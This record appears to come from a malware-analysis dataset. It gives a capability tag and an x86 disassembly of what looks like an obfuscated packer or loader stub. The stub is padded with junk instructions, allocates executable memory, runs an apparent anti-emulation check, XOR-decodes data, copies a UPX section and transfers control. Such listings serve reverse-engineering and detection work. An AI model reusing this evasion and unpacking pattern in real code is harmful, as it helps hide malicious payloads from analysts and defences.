Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc754ca8f
add eax, 1
mov eax, 0x81105df6
dec eax
popal
add edx, 1
or edx, eax
inc eax
mov esi, 0
mov edx, ebx
sub edi, ecx
and ecx, edi
or ecx, edi
mov eax, edx
sub edi, 0x701c67bf
sub ecx, edi
add ecx, 0xa3087478
mov ebx, eax
sub edi, ecx
add edi, 0x29aff690
inc esi
or ecx, ecx
and ecx, ecx
add edi, edi
cmp esi, 0x100d201
jne 0xa789cd
sub ecx, edi
mov ecx, edi
sub ecx, 1
or eax, eax
inc edx
or eax, eax
mov ebx, 0xa78796
not edx
and edx, edx
mov esi, edi
mov ecx, 0xa7898a
mov esi, 0xb26c5a6f
mov esi, edx
mov eax, dword [ebx]
mov edi, esi
sub edi, 1
add edi, 0x39cdeae1
and eax, 0xff
sub edx, esi
not edx
xor dword [ecx], eax
mov esi, edi
add edx, 1
inc ecx
mov esi, 0x87f73b2c
add edx, edx
inc ebx
or edi, edx
mov esi, 0xdfea888
sub esi, edx
cmp ecx, entry0
jl 0xa78a28
dec esi
mov edx, esi
mov edx, edi
inc esi
or edi, esi
add edx, ecx
sub esi, 0xd915b5
mov edx, 0x5bd74a3d
mov edi, 0xa7898e
add ecx, ecx
and edx, esi
add ebx, ecx
mov edi, dword [edi]
add ebx, 1
not edx
mov edi, dword [edi]
sub ebx, edx
or ebx, edx
or esi, esi
sub esp, 4
mov dword [esp], edi
add ecx, 0xe97165d6
mov ecx, 0x5a8bed81
add esi, ebx
mov edi, 0xa7898a
or edx, ecx
sub ebx, ecx
mov edi, dword [edi]
add edx, ebx
and ebx, esi
mov edi, dword [edi]
sub esi, 0xa3bdd413
dec ebx
mov edx, 0xf69c21f2
push 0xa78992
inc ecx
sub esi, ebx
call edi
dec ebx
sub edx, esi
mov edi, dword [esp]
add esp, 4
dec ecx
add ebx, 0xe9bf7632
push 0xa7899f
add ebx, 1
inc ebx
sub esp, 4
mov dword [esp], eax
or esi, ebx
not edx
call edi
mov edx, 0xacb06f97
mov ecx, edx
push 0x40
and ebx, esi
mov ebx, 0x6792c0d5
push 0x3000
not esi
mov ebx, esi
mov ecx, 0xe95eb51f
push 0x20000b7b
sub esi, 0x5ff16584
inc esi
sub esp, 4
mov dword [esp], 0
dec esi
add ebx, ecx
add ecx, 0x9da74561
call eax
not esi
mov edx, 0x7e757a2f
add eax, 0x20000ad3
sub ebx, 1
dec ebx
sub esi, ebx
mov edi, 0x406cdfa1
and edx, ecx
and edx, esi
mov ecx, edx
mov dword [eax], edi
inc esi
add ebx, ecx
or ecx, ecx
mov edi, dword [eax]
mov ecx, ebx
sub esi, 0xebe9a1d
not ecx
cmp edi, 0x406cdfa1
je 0xa78b83
mov ebx, 0
mov byte [ebx], al
mov ecx, 0x3929c173
sub edx, ecx
mov ebx, 0xefbb4252
or ecx, esi
not esi
inc edx
mov edx, 0x5b30b5ad
sub edx, eax
mov ebx, section.UPX1
mov edx, 0xaba34b54
inc edx
and edx, eax
mov edi, 0xa78795
mov edx, eax
sub edx, 1
inc eax
mov ecx, 0
add eax, edx
sub eax, edx
dec eax
mov esi, 0xa78796
mov eax, edx
and edx, eax
lea esi, [esi + ecx]
not eax
add eax, 0x4e1a5188
sub edx, 0x8ae52d58
mov esi, dword [esi]
mov eax, edx
sub eax, 0x2b8a4727
and esi, 0xff
add edx, 0xaeb25231
dec eax
and edx, eax
inc ecx
mov edx, eax
mov eax, 0xc63b0ac5
mov eax, 0x5dea21fd
cmp ecx, 0x1f4
jne 0xa78c0d
mov ecx, 0
sub edx, eax
sub edx, eax
and eax, edx
add eax, 0x3a0cb598
dec eax
xor dword [ebx], esi
add eax, edx
mov eax, edx
mov edx, eax
add ebx, 2
add edx, 1
not edx
cmp ebx, edi
jl 0xa78bc0
or eax, edx
sub eax, edx
add edx, eax
sub edx, 1
mov edx, 0xc2a73246
mov edi, section.UPX1
sub ecx, ebx
add ecx, ebx
mov esi, section.UPX1
and ebx, ebx
mov ecx, 0xe1627d90
mov edx, 0xa78795
not ecx
sub ebx, ecx
add ebx, 0xb03ad8f6
mov eax, 0
sub ecx, ebx
add ebx, 1
mov ebx, 0xcee667a1
mov al, byte [esi]
and ecx, ebx
sub ecx, ebx
mov byte [edi], al
sub ebx, ecx
dec ecx
add ebx, 0xcb7f3dcd
inc edi
add ecx, 0x6c8ced87
add ebx, ecx
add esi, 2
mov ebx, ecx
dec ecx
cmp esi, edx
jle 0xa78c7f
or ebx, ecx
add ebx, 0x5cc4664f
dec edx
mov eax, edx
push 0x8dc6a0
not edx
add eax, 0x5c8789fd
or eax, edx
ret